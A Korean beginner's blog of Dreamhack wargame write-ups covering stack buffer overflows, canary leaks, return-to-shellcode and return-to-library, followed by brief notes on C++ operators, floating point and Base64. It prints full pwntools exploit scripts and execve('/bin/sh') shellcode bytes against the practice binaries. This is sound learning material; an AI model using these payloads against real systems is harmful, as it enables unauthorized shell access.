반응형

포린이의 첫 RTL문제 시도... 정답을 보면서 하면 당연히 실력이 늘지 않으니 몇시간동안 끙끙대면서 푸는게 참 힘든 것 같다. ㅜㅜ

 

(문제 출처 : https://dreamhack.io/wargame/challenges/353/ )

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

 

일단 국룰 체크 먼저.

카나리, NX 보호기법이 사용되었다. 기본적으로 지금 풀고 있는 문제는 전부 bof 관련된 문제이므로, canary leak을 해주어야 할 것이고, NX로 인해 스택 영역에 실행권한이 없을 것이므로 쉘코드를 실행할 수 없을 것. 따라서 system("/bin/sh") 을 실행할 수 있도록 함수의 주소, 문자열의 주소, 가젯 등을 이용해야 할 것이다.

 

C 코드를 살펴보도록 하자.

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

문제가 친절하다. "/bin/sh"의 주소도 주고, system 함수도 사용해주면서 system 함수도 사용해주면서 system 함수를 이용할 수 있도록 한다.

그 다음으로는, read함수를 통해 buf에 값을 써주고 출력해주면서 canary leak을 해줄 수 있도록 한다.

그 다음으로는, return address 를 overwrite해주는, 즉, 또다시 bof를 이용해야한다. 이를 통해 RTL을 성공적으로 마칠 수 있을 것 같다. 

 

그렇다면 공격 시나리오는 Canary Leak -> get system address, get /bin/sh address, geet gadget -> Return To Library 

이렇게 볼 수 있을 것 같다.

Canary Leak

카나리 릭은 지금까지 많이 해왔으니까... 간단하게 빠르게 넘어가자.

read함수에서 buf 배열을 이용하는데, read함수를 사용하는 곳으로 가보면

buf 배열이 [rbp-0x40]에 있는 것을 알 수 있다. 그렇다면 SFP(RBP)와 BUF의 사이에는 dummy data 8바이트와 canary 8바이트가 있을 것이다. 이를 바탕으로 페이로드를 구성해보자.

이렇게 카나리를 Leak 할 수 있겠다.

 

RTL 정보 추출하기.

위 코드에서 "/bin/sh"이라는 문자열도 사용되었고, system함수도 사용되었으므로 둘 다 메모리상에 주소가 존재할 것이다. 한번 찾아보자.

/bin/sh 전역변수의 주소
plt 테이블

이로써 필요한 정보를 수집하는 데 성공했다. 이제 이걸 어떻게 적용하면 될까?

이렇게 페이로드를 구성하면 된다.

 

SFP(rbp)를 덮는 것 까지는 이전과 같은데, RET 자리에 ret gadget을 두었다. 이를 통해 그 다음 명령어들까지 실행을 할 수 있다. (사실 이 가젯까지는 잘 이해를 하지 못했는데, 이거 없이 실행할 때 오류가 나면 이걸 넣어서 해결한다고 하길래)

 

<가젯 찾는 법>

 

그 다음으로는 pop rdi, ret이 있다. 이 명령어를 실행하면, "/bin/sh"이 저장된 주소를 pop 해서 rdi에 저장한다.

다들 rdi가 뭔지는 잘 알 것이다. 바로 함수의 첫 번째 인자로 들어가는 녀석이다. 인자까지 준비를 완료했으니, ret 가젯이 실행되면, 인자가 system 함수로 들어가 최종적으로 system("/bin/sh") 명령이 실행되는 것이다.

 

익스플로잇 코드

 

실행해주면.....

성공이다..!

반응형
반응형

포너블 공부 2일차. 여전히 카나리 릭, 파이썬과 싸우고 있다.

파이썬 문법, pwntools 모듈 등이 나에겐 너무 생소한지라 아직까진 어려운데 어쩌겠습니까... 해야죠 네 ...

 

이번 문제도 역시 Canary Leak을 이용해 풀어야 하는 문제이다. 문제를 한번 자세히 보도록 하자.

(문제 출처 : https://dreamhack.io/wargame/challenges/33 )

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다. 저기서 등장하는 SSP는 stack smashing protocol이다.

 

문제를 보면

get_shell()함수를 실행시키는 것을 목적으로 하면 될 것 같다.

main()함수를 보면, 

box[0x40], name[0x40], selset[2], idx, name_len이라는 변수를 선언해주고, 

while(1) 안에서 switch_case 문을 실행해준다.

switch안에 들어가는 인자는 read함수에서 받아오니 이건 p.send를 써야하겠다... 라는 생각을 하며 진행해보도록 하자. 

총 세 가지 기능이 구현되어있는데,

F : fill the box

P : print box value

E : fill name buffer and return.

이렇게 되어있다. 이제 checksec을 해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}
void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
// target
void get_shell()
{
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx)
{
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu()
{
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[])
{
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while (1)
    {
        menu();
        read(0, select, 2);
        switch (select[0])
        {
        case 'F':
            printf("box input : ");
            read(0, box, sizeof(box));
            break;
        case 'P':
            printf("Element index : ");
            scanf("%d", &idx);
            print_box(box, idx);
            break;
        case 'E':
            printf("Name Size : ");
            scanf("%d", &name_len);
            printf("Name : ");
            read(0, name, name_len);
            return 0;
        default:
            break;
        }
    }
}

 

Canary가 적용되어있으니 어쨋든 Leak을 해주어야할 것 같다. Canary Leak을 하기 위해서는(다른 방법은 아직 모른다..) 스택의 데이터를 출력해주는 함수가 필요한데, 딱 적당하게 P 기능에서 이를 수행해준다.

P 기능 내의 print_box를 살펴보자.

void print_box(unsigned char *box, int idx)
{printf("Element of index %d is : %02x\n", idx, box[idx]);}

box[idx]는 사실 *(box + idx) 라고 볼 수 있는거니까, box 배열의 base address에서부터 idx만큼 떨어져있는 곳의 데이터를 말하는 것이다. 따라서 이를 이용하면 Canary 값을 읽을 수 있다.

그럼 한번 스택 상황을 보러 가볼까?

일단 처음에, 공간을 0x94만큼 잡아주는 것을 볼 수 있다.

pwndbg를 이용해 까보았더니  cmp eax, 0x50 즉, 'P'에 해당하면, <main + 192>로 jmp 해준다. <main+192>부터 보면, [ebp-0x88]의 주소를 PUSH해서 print_box로 넘겨주는 것을 볼수 있다. 그렇다면, box의 주소는 0x88일테니까,

그림을 그려봐야겠다.

이런 느낌일 것이다.

그렇다면, P기능에서 81개의 아무 데이터나 넣고, 그 다음 3바이트의 canary 값을 받아오면 canary leak을 할 수 있겠다.

exploit 코드

그리고, 일단 get_shell의 주소를 받아와야한다.

exploit 코드

이렇게 했으면, canary 값도 받아왔고, get_shell의 주소도 구했으니 RET 주소에 get_shell의 주소만 넣으면 되겠다.

exploit 코드

이렇게 구성하면 될 것 같다.

이제 실행을 해볼까?

히히 야호~ 성공했다. 끗.

반응형
반응형

하루만에 너무 많은걸 해버렸다... 갓 포너블 시작한 포린이에게는 빡센 것 같다.

바로 시작해보자. 

이번 문제는 Return to Shellcode 라는 문제이다. 

(문제 출처 : https://dreamhack.io/wargame/challenges/352 )

 

Return to Shellcode

Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

제목에서도 알 수 있듯, Shell Code를 사용하는 문제이고, 이게 중요한 개념인가보다.

(나의 경우에는 너무나도 중요했다 ...발...)

 

우선 먼저 짚고 넘어가야 할 점이 있다. 바로 Shell Code는 32비트와 64비트 환경에서 다르다는 것이다! 당연하지. 근데 나는 그걸 못알아채고 한시간동안 삽질을 했다 ㅋㅋ 하... 여러분은 그러지 않길~ ^^

Shell Code in x64

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

 

이제 시작해보자. 

우선 국룰 절차 밟기.

64bit, SYSV, Canary 정도 체크하고 가면 될 것 같다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

코드가 이전 문제에 비하면 상당히 길다.

어떻게 실행되는지 한번 실행해보자.

buf의 주소를 주는 것을 보니, BOF를 일으켜야하는 것으로 보이고, distance between buf and $rbp를 주는 것을 주목해야겠다. 이 문제가 Canary 단원 안에 속해있다는 것을 생각해볼 때, 저 distance에 집중해야겠다.

기본적인 canary의 개념을 짚고 가자면,

이렇게 생각할 수 있겠다. 즉, sfp와 ret의 무결성 보장을 위해 canary의 값이 변경되었는지를 확인하는 것이다. 따라서 canary의 값을 알아내기 위해 해야할 일은 bof를 통해 canary 값을 leak 해야 하는 것인 것 같다.(아무래도 처음부터 더 어려운건 안시키겠지...)

BUF 주소 leak

char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 부분을 보면, p.recvuntil("buf: ") 해서 recv(14)로 buf 값을 가져올 수 있고, distance도 구할 수 있을 것이다.

 

해당 부분의 exploit 코드

 

Canary Leak

그 다음으로 canary leak을 해봐야 하겠다.

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

문제에서 친절하게도 안내를 해준다 ㅋㅅㅋ

그렇다면 해줘야지.

 

buf에 distance - 8 (8인 이유는 canary가 들어갈 자리 때문.) 까지 다른 데이터로 채워주고, canary의 NULL문자 부분까지 하나만 더 "A"로 채워주어 canary 정보를 leak 해보았다.

canary Leak

이렇게 하면 canary까지 가져왔으니, 남은건 BOF 뿐이다.

BOF

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

위에를 처리하고나니 이젠 귀여운 BOF만 남아있다. 바로 익스 해주자.

BOF 코드

 

새로운 함수 몇 가지를 공부했는데, ljust라는 굉장한 녀석이 있다. 코드를 보면 뭐하는 친구일지 이해가 될 것이다.

 

Exploit code

from pwn import *

p = remote('host3.dreamhack.games', portNum)

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

p.recvuntil("Address of the buf: ")
buf_addr = int(p.recv(14), 16)

p.recvuntil("$rbp: ")
distance = int(p.recv(2))

# canary leak
p.recvuntil("Input: ")
payload = b"A" * (distance - 8)
payload += b"B"
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recv(7)

# exploit
print(p.recvuntil("Input: "))
payload = shellcode.ljust(distance - 8, b'\x90')
payload += canary
payload += b"\x90"*8    
payload += p64(buf_addr)
p.sendline(payload)

p.interactive()

 

이대로 exploit 해주면,

짜잔~ 성공이다 !! ㅎㅎ

기초 BOF를 벗어나 새로운 canary leak을 해보는 재미난 경험이었다~

포린이 포너블 1일차 끗.

반응형
반응형

첫 번째 문제가 재밌어서 바로 두 번째 문제를 풀러 왔다.

첫 문제보다 쉬운 것 같다. 그냥 read_flag() 함수를 호출할 수 있으면 될 것이다.

(문제 출처 : https://dreamhack.io/wargame/challenges/3 )

 

예전에 어딘가에서 듣기로 ASLR? 이라는 기법이 사용되면 프로그램을 실행할 때 마다 주소가 바뀌어 포너블하기 힘들어진다고 했는데, 그냥 여기서는 그런 기능 안되어있길 기도하면서 read_flag 함수 주소를 찾았던 것 같다. 

 

일단 국룰 절차 먼저 밟아보자.

사실 보호기법은 봐도 잘 모른다. 그래도 일단 습관화 하면 좋을 것 같아서 밟는 절차... 하하 

 

다음은 코드를 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

그냥 buffer overflow 이용해서 buf 칸 다 채워버리고 return 주소가 read_flag를 가리키게 하면 될 것 같다.

그럼 read_flag()의 주소를 어떻게 찾을까?

오 이 따옴표 넣는 기능 신기하다. 애용해야겠다.

dreamhack은 감사하게도 우리에게 pwndbg 사용법을 알려줬다.

 

사용법은 다들 알거니까 시작해보자.

print read_flag 써서 바로 주소 찾아줬다. 그럼 이걸 이용해 익스를 짜보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 14765)

read_flag_addr = p32(0x80485b9)

payload = b"\x90"*0x80
payload += b"\x90"*4
payload += read_flag_addr

p.sendline(payload)
p.interactive()

 

우선 0x80칸 NOP으로 채워주고, SFP도 그냥 채워주고, 마지막 return address에다가 방금 찾은 주소를 넣어줬다.

 

흐흐.. 성공했다. 재밌다 ! 야무지다 ! 행복하다 !

반응형
반응형

2학기 들어서 처음 풀어보는 Pwnable 문제!!

신나는 마음으로 접근해보았다.

(문제 링크 : https://dreamhack.io/wargame/challenges/2)

 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

강의를 다 보고나서 문제를 보니, 

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

라고 한다.

 

그런데, 주어진 소스코드를 살펴보면 익스해서 셸을 획득할 수 있는 코드가 존재하지 않는다.

그렇다면... 셸코드를 이용해야할 것 같다. 셸코드는 대략 25~26byte정도 되었던 것으로 기억하니, 그걸 감안하고 문제를 풀어보도록 해야겠다. (아직 bof말고는 아무것도 몰라서 제 설명이 맞는지는 모르겠습니다! 틀렸다면 죄송!!!)

 

alarm_handler() 는 무시해도 될 것 같다.

initialize()는 그냥 버퍼 초기화하는 함수인 것 같으니까 무시해야겠다.

main()함수만 보도록 하자!

 

공부한대로 그냥 차근차근 보자.

일단 파일이 어떤녀석인지 보자.

32bit, SYSV 이정도만 알면 될 것 같다.

 

다음으로, stack에는 매개변수, 반환주소(RET, SFP), 지역변수 순으로 저장된다. 이를 그림으로 그려보면

이런 형태일 것이다.(매개변수는 들어오지 않았으므로.)

이제 코드상의 취약점을 찾아보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf의 사이즈가 0x80 즉, 128byte인데 scanf에서는 141byte씩이나 받고있다. (개발자 뭐하냐... 정신차려...) 

그렇다면 맛있게 bof를 해주면 될 것 같다.

 

익스 코드를 짜주자.

from pwn import *

p = remote('host3.dreamhack.games', 14027)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil("buf = (")
buf_addr = int(p.recv(10), 16)

print(buf_addr)

payload = shellcode
payload += b"\x90" * (0x80 - len(shellcode))
payload += b"\x90" * 4
payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

(shellcode는 그냥 인터넷에서 찾아서 긁어왔다 ㅎ..)

 

1. 우선 처음 nc 접속하면 "buf = (buf의 address)" 가 출력된다. buf의 address는 (0xXXXXXXXX) 이런 형태를 띠고있을 것이므로, 해당 주소는 10글자라고 할 수 있다. 따라서, "buf = (" 이후, 열글자를 16진수형 정수로 받아 이를 buf_addr에 저장해준다.

2. 그 다음, shellcode를 buf에 저장해주고, 나머지는 NOP으로 가득 채워준 후, SFP도 그냥 NOP으로 채우고 나서, return address를 buf의 시작주소로 지정해주어 이를 실행해주면 될 것이다!

 

성공한 것으로 보인다.

 

역시 처음 공부하는건 다 재밌다 ㅎ

반응형
반응형

C++에서만 쓰이는 연산자가 있다고 한다.

한번 알아보도록 하자

범위 지정 연산자 (scope resolution operator)

가장 우선순위가 높은 연산자이다.

범위지정 연산자 (::)는 여러 범위에서 사용된 식별자(identifier)을 식별하고 구분하는 데 사용하는 연산자이다.

이러한 식별자로는 변수, 함수, 열거체 등이 올수 있다.

 

범위지정연산자를 변수 이름 앞에 붙이면 해당 변수는 전역으로 사용하라는 의미가 된다.

클래스에 사용하면 네임스페이스멤버를 식별하거나, 클래스의 정적 멤버를 호출할 수 있다.

<문법>

1. ::식별자

2. 클래스이름::식별자

3. 네임스페이스::식별자

4. 열거체::식별자

멤버 포인터 연산자 (pointer-to-member operator)

멤버포인터 연산자를 사용하여 클래스의 멤버를 가리키는 포인터를 정의할 수 있다.

두 가지 형태가 존재.

1. 왼쪽의 피연산자가 클래스타입의 객체인 경우

2. 왼쪽의 피연산자가 클래스 타입의 객체를 가리키는 포인터인 경우

<문법>

1. 클래스타입의객체.*멤버이름

2. 클래스타입객체의포인터->*멤버이름

typeid 연산자

typeid 연산자를 사용하여 객체의 타입에 관한 정보를 확인할 수 있다.

typeid 연산자는 런타임에 객체의 타입을 결정하는 데 사용합니다.

또한, 템플릿에서 템플릿 매개변수의 타입을 결정할 때도 사용합니다.

<문법>

typeid(표현식)

반응형

'CS > C++' 카테고리의 다른 글

C++ 공부 스타 - 또  (0) 2023.07.18
반응형

컴퓨터에서 실수를 2진수로 표현할텐데, 이건 저장을 할 때 어떻게 저장을 하는지 갑자기 궁금해졌다.

한번 알아보도록 하자.

고정소수점 방식(fixed point)

실수는 정수부와 소수부로 나눌 수 있다.

고정소수점 방식은 소수부의 자릿수를 미리 정하여, 고정된 자릿수의 소수부를 표현하는 방식으로 생각하면 된다.

32비트 실수를 고정소수점 방식으로 표현하면

요렇게 된다.

하지만 이 방식은 정수부와 소수부의 자릿수가 한계가 있어, 표현할 수 있는 범위가 적다.

부동소수점 방식(floating point)

실수는 정수부, 소수부로 나눌수도 있지만

가수부와 지수부로 나누어 표현할 수도 있다. 부동소수점 방식에서는 이렇게 나누어 표현한다.

대부분의 시스템에서 이런 방식을 채택하고 있다.

C++에서는 요렇게.

 대부분 IEEE 표준을 따른다.

32비트 float형
64비트 double형

more

부동소수점 방식은 고정소수점 방식보다 훨씬 많은 범위까지 표현할 수 있긴 하지만 항상 오차가 존재한다는 단점을 가지고 있다.

위의 공식을 사용해서 표현하면, 표현 범위는 늘어나지만, 10진수를 정확하게 표현할 수 없으므로 오차가 발생할 수 있게 된다.

 

 

반응형
반응형

평범한 일상을 보내다가 오랜만에 백준 문제를 풀러 갔는데 왠지 C언어가 비효율적?으로 길게 코딩을 늘여쓴다는 느낌을 받았다. 그래서 갑자기 C++을 공부하고 싶어졌다. ㅋㅋㅋ

 

C++ 개요

C++

기존 C언어에 여러 기능이 추가된 프로그래밍 언어.

C언어에서 절차지향적 특징을 가져오고, 클래스를 사용하는 등의 객체지향적 언어이며, 템플릿으로 대변되는 일반화 프로그래밍 방식의 언어이기도 하다.

C를 기초삼아 만든 언어이므로, 기존 C표준 라이브러리를 그대로 사용할 수 있다.

하지만 C++을 하기 위해서는 기존 절차지향적 프로그래밍의 습관에서 벗어날 필요가 있다.

특징

1. 절차지향적 & 구조적 프로그래밍 언어

2. 객체 지향 프로그래밍 언어

3. 일반화 프로그래밍 언어

작동 과정

소스코드 작성

전처리

컴파일러에 의한 컴파일

링커에 의한 링크

실행파일 생성

 

컴파일 하는 방법(리눅스)

g++ [소스코드.cpp]

하면 오브젝트파일 생성됨.

 

반응형

'CS > C++' 카테고리의 다른 글

C++ 공부하기 | C++연산자  (0) 2023.07.19
반응형

이번에는 base64로 인코딩된 password가 data.txt 안에 들어있다고 한다.

6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

base64 -d 옵션을 통해 decode 했다.

그런데, base64암호를 사용해본적은 있는데 이게 어떤 암호(인코딩 방식)인지 궁금해져서 좀 알아보기로 해보았다.

https://nullorm.tistory.com/23

 

인코딩 & 디코딩 | Base64에 대하여...

인코딩(encoding)과 디코딩(decoding) 파일에 저장된 정보의 형태나 형식을 변환하는 처리 / 처리방식을 말함. 이메일, 문자메시지 등의 전송, 동영상이나 이미지 영역에서 많이 사용됨. 인코딩의 반

nullorm.tistory.com

끗!

반응형
반응형

인코딩(encoding)과 디코딩(decoding)

파일에 저장된 정보의 형태나 형식을 변환하는 처리 / 처리방식을 말함.

이메일, 문자메시지 등의 전송, 동영상이나 이미지 영역에서 많이 사용됨.

인코딩의 반대는 디코딩

Base64

바이너리 데이터를 문자 코드에 영향을 받지 않는 공통 ASCII문자로 표현하기 위해 만들어진 인코딩.

ASCII문자 하나가 64진법의 숫자 하나를 의미하기 때문에 base64라는 이름을 가졌다.

 

8비트짜리 바이트 3개를 6비트씩 4개로 쪼개어 base64 코드 4개로 바꾸어 표현한다. base64 코드를 바이너리로 디코딩하기 편하게 하기 위해 base64 코드를 무조건 네 글자 단위로 만들고, 빈 부분을 '=' 문자로 채워둔다.

encoding 예시

원문
E
1
L
바이트 값
0x45
0x31
0x4C
2진수
0
1
0
0
0
1
0
1
0
0
1
1
0
0
0
1
0
1
0
0
1
1
0
0
변환 값
17
19
5
12
결과
R
T
F
M

디코딩은 이 표와 거꾸로 하면된다.

Base64 변환 표

문자
 
문자
 
문자
 
문자
0
A
16
Q
32
g
48
w
1
B
17
R
33
h
49
x
2
C
18
S
34
i
50
y
3
D
19
T
35
j
51
z
4
E
20
U
36
k
52
0
5
F
21
V
37
l
53
1
6
G
22
W
38
m
54
2
7
H
23
X
39
n
55
3
8
I
24
Y
40
o
56
4
9
J
25
Z
41
p
57
5
10
K
26
a
42
q
58
6
11
L
27
b
43
r
59
7
12
M
28
c
44
s
60
8
13
N
29
d
45
t
61
9
14
O
30
e
46
u
62
+
15
P
31
f
47
v
63
/

출처 : https://namu.wiki/w/BASE64

 

BASE64 - 나무위키

'E1L'을 Base64로 인코딩하는 과정은 아래와 같다. 원문E1L바이트 값0x450x310x4C2진수010001010011000101001100변환 값1719512결과RTFM 결과는 'RTFM'. 디코딩은 이 표에 나온 과정을 거꾸로 하면 된다. 리눅스에서

namu.wiki

 

반응형

+ Recent posts